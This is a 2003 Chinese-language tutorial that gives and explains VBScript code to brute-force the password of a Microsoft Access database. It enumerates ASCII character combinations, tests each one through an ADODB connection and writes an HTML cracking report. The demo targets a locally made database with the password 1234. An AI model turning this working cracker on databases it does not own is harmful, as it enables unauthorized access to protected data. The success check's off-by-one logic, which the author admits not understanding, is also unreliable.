用script寫暴力破解機


阿瑟 發表



暴力破解, 就是不斷塞入密碼直到密碼符合為止. 這是一種最有效, 但是也最沒有效率的密碼破解方式. 利用Windows Script, 可以寫出一個簡單的暴力破解機.

請等到教學整篇看完以後再測試, 否則後果自行負責

先來了解一下原理: 電腦上每一個字元都有一個ASCII代碼, 這個號碼是從32到126, 其中包括特殊字元如 @ , %.

ASCII字元表如下:

32 33!34"35#36$37%
38&39'40(41)42*43+
44,45-46.47/480491
502513524535546557
56857958:59;60<61=
62>63?64@65A66B67C
68D69E70F71G72H73I
74J75K76L77M78N79O
80P81Q82R83S84T85U
86V87W88X89Y90Z91[
92\93]94^95_96`97a
98b99c100d101e102f103g
104h105i106j107k108l109m
110n111o112p113q114r115s
116t117u118v119w120x121y
122z123{124|125}126~

這個表一邊是數字, 而數字旁邊是該ASCII Char所對應的字元.
在VB系的語言中, 你可以用 ASC()和CHR() 來把字元轉換成ASCII代碼, 或是ASCII代碼轉成字元. 而C++系的就比較不一定了, 在C++中你可以用getch()函式來取得ASCII代碼. 這次我們用的是Windows Script的VBscript.
利用ASCII代碼的特性, 我們可以用一個迴圈不停的置換字元, 直到成功為止, 這也就是暴力破解.

以下是範例程式碼:

on Error Resume Next
dim cons, DBmPath, rsm, sql, x, i, j, k, bingo, FSO, outputfilecontent, outputfileobject, t, first_time, final_time
first_time = now
Set cons = Wscript.CreateObject("ADODB.Connection")
DBmPath = "db1.mdb"

msgbox "破解程序開始, 時間會因系統資源的分配而有所不同",vbInformation + vbYesOnly, "暴力破解機"

dim cracker()
x=0
for i=32 to 126
  for j=32 to 126
    for k=32 to 126
     Redim Preserve cracker(x)
     cracker(x) = chr(i) & chr(j) & chr(k) & 4
     Redim Preserve cracker(x)
     x=x+1
    next
   next
next
t=1
set FSO = Wscript.CreateObject("Scripting.FilesystemObject")
outputfilecontent = "<HTML><BODY><h3>破解報告: "& DBmPath & "</h3><table border=1 bordercolor=#ffffff bordercolorlight=#003399>"

for i=Lbound(cracker) to Ubound(cracker)
  if t=1 then
   outputfilecontent = outputfilecontent & "<tr><td>"
  else
   outputfilecontent = outputfilecontent & "<td>"
   end if
   cons.Open "driver={Microsoft Access Driver (*.mdb)};pwd="&cracker(i)&";dbq=" & DBmPath
   outputfilecontent = outputfilecontent & cracker(i) & "<br>"
   if t=12 then
   outputfilecontent = outputfilecontent & "</td></tr>"
   t=0
   else
   outputfilecontent = outputfilecontent & "</td>"
   end if
   if Err.Number = 0 or Err.Number = 3705 then
     bingo = cracker(i-1)
     Exit For
   end if
   t=t+1
next

msgbox "正確的密碼是 " & DBmPath & "[" & bingo & "]" ,vbInformation + vbYesOnly, "暴力破解機"

final_time = now

outputfilecontent = outputfilecontent & "</table>"
outputfilecontent = outputfilecontent & "<br><br><b>" & bingo & "</b> 是正確的密碼 " & DBmPath & "<br>"
outputfilecontent = outputfilecontent & "可能性總共有 <b>" & Ubound(cracker) & "</b> 個<br>"
outputfilecontent = outputfilecontent & "總共測試了 <b>" & i-1 & "</b> 個可能性才找到正確的密碼<br>"
outputfilecontent = outputfilecontent & "破解程序總共花了 <b>" & datediff("n", first_time, final_time) & "</b> 分鐘"
outputfilecontent = outputfilecontent & "</BODY></HTML>"
set outputfileobject = FSO.CreateTextFile("./"& DBmPath &".html", True)
outputfileobject.write outputfilecontent
set cons = Nothing
DBmPath = Empty
set rsm = Nothing
sql = Empty
x = Empty
i = Empty
j = Empty
bingo = Empty
Set FSO = Nothing
outputfilecontent = Empty
Set outputfileobject = Nothing

這麼長一段程式碼, 如果要一一講解也很痛苦, 所以如果您對於程式設計沒有什麼基礎的話, 建議您不要浪費時間了...
先練練功力以後再來過也無妨.

由於這次的程式碼很長, 小弟把程式拆成部分來講解比較快.

  • 前端的部分
  • on Error Resume Next這段是如果碰到問題會繼續執行, 由於密碼不對, 存取資料庫的時候當然會有錯誤, 所以要加上這一行才能讓程式繼續執行.
  • 資料庫的預設檔名為db1.mdb
  • 在這裡先偷偷告訴您, 正確的密碼是1234
  • 字典建立部分
  • dim cracker(), 這句是建立一組陣列來儲存所有的可能性, 由於我們不知道到底有多少可能性所以將陣列的數值留白.
  • 下面的三個for loop組成了一個巢狀迴圈, 簡單的說就是成級數成長. 每一個迴圈都會從32跳到126 (ASCII代碼的範圍)
  • Redim Preserve cracker(x), 由於cracker()是一個活動陣列 (不知道有多少成員的陣列), 因此要用這段來確保陣列成員不會遺失.
  • cracker(x) = chr(i) & chr(j) & chr(k) & 4, 阿得因為比較懶, 所以直接把最後一個字元 4 放上去, 只猜前面三個字元.
  • 破解的部分
  • 再往下看一點, 有一段 for i=Lbound(cracker) to Ubound(cracker), Lbound()是取得陣列的最前面成員, Ubound則是最後的成員, 這個迴圈會從cracker()陣列的第一個成員跑到最後一個成員
  • 中間一堆outputfilecontent的部分先不管他
  • if Err.Number = 0 or Err.Number = 3705 then
    bingo = cracker(i-1)
    Exit For
    end if

    這段就比較奇怪了, Err.Number會取得上一個錯誤的號碼, 如果沒有錯誤則該數值為0. 而錯誤編號3705是當物件開啟時, 無法進行操作. 小弟也不是很清楚, 不過當密碼破解進入資料庫的時候會傳出3705錯誤 (可能是沒有執行動作的關係), 因此if/then才這樣寫. 這段if/then的目的是判斷密碼是否正確並且提早結束for迴圈.
  • 破解報告部分
  • 下面的就不難了, 利用FileSystemObject去寫出一份報告, 檔名為與資料庫名稱同名的一個html檔案, 會在這個script的同一目錄下產生. 如果你有開防毒軟體的話 , 執行到這一句的時候會被攔截, 只要選擇允許動作即可
  • 時間計算的部分, 在這個script一開始小弟有紀錄時間, 而輸出破解報告以後又紀錄一次, 然後取其差值
  • 程式邏輯與原理:
    要玩這隻程式你必須在與script的同一個目錄下建立一個資料庫, 並且設定密碼 1234.
    利用巢狀迴圈結構, 我們可以建立一組陣列, 紀錄所有的密碼. 建立完以後再用一個迴圈一一塞入資料庫, 如果沒有存取上的錯誤就代表是正確的密碼.
    巢狀迴圈的部分是這樣的, 每一個字元都有94種可能性, 多加一個字元則第一個字元後面又多了94種可能性, 即 94 乘以 94 = 8836 種可能性 (哇咧). 如果有再多加個字元則每個字元後面又多了94種, 所以三個字元就有 830584 種可能性 (恐怖). 也就是成級數成長.
    因此少猜一個字元, 就只需要原本的 94分之1 的時間...這也是為什麼之前小弟將最後一個字元直接打上去.

    如果你要猜更多的數字的話, 只要再多幾層for loops就可以了, 三個字元要三層...幾個就幾層...

    小弟測試的環境是Pentium!!!-1 Ghz, 512 SDRAM.
    破解一位數的密碼的時候總共花了10秒, 並且用掉了約 500 kb 的記憶體(RAM),
    (當然破解的時間跟密碼在ASCII表上的位置前後也有關)
    兩位數就花了30分鐘, 用掉了8 mb左右的記憶體,
    三位數, 也就是現在的這隻程式, 總共跑了5個小時, 用掉了50 mb 左右的記憶體...
    四位數, ...小弟目前還沒有試過, 我也不是很想試...因為在破解的時候會用掉許多系統資源, 四位數的話恐怕要二十小時左右...
    別忘記, 密碼 1234 在ASCII表上都還算是挺前面的, 如果別人用的是字母 (大小寫還有分喔!) 或是特殊字元, 那時間就更久了....

    小弟是因為記憶體比較多一點, 所以直接用記憶體來儲存所有的可能性.
    如果要破解十位數的話, 那....就有....不知道, 大概上億種可能性, 到時候如果用記憶體的話那穩塞爆的, 屆時就要建立所謂的字典檔, 也就是將程式前面建立的部分和破解的部分拆開, 先將字典檔做出來成為一個純文字檔, 然後再一行一行讀取進去破解. 數字大的話最好是把字典檔分割, 讓多台電腦同時進行, 不然恐怕跑好幾個月甚至好幾年...

    這次貼上這篇教學希望大家看了以後能把這隻程式用在正當的用途上.
    至於是什麼呢? 小弟也不清楚, (當時寫這隻程式的時候是在研究一些網站的ASP和資料庫漏洞). 總之玩玩就好, 不要亂來, 否則到時候網路警察來按門鈴就不好玩了.

    最後更新日期: 2/2/2003 10:57:11 PM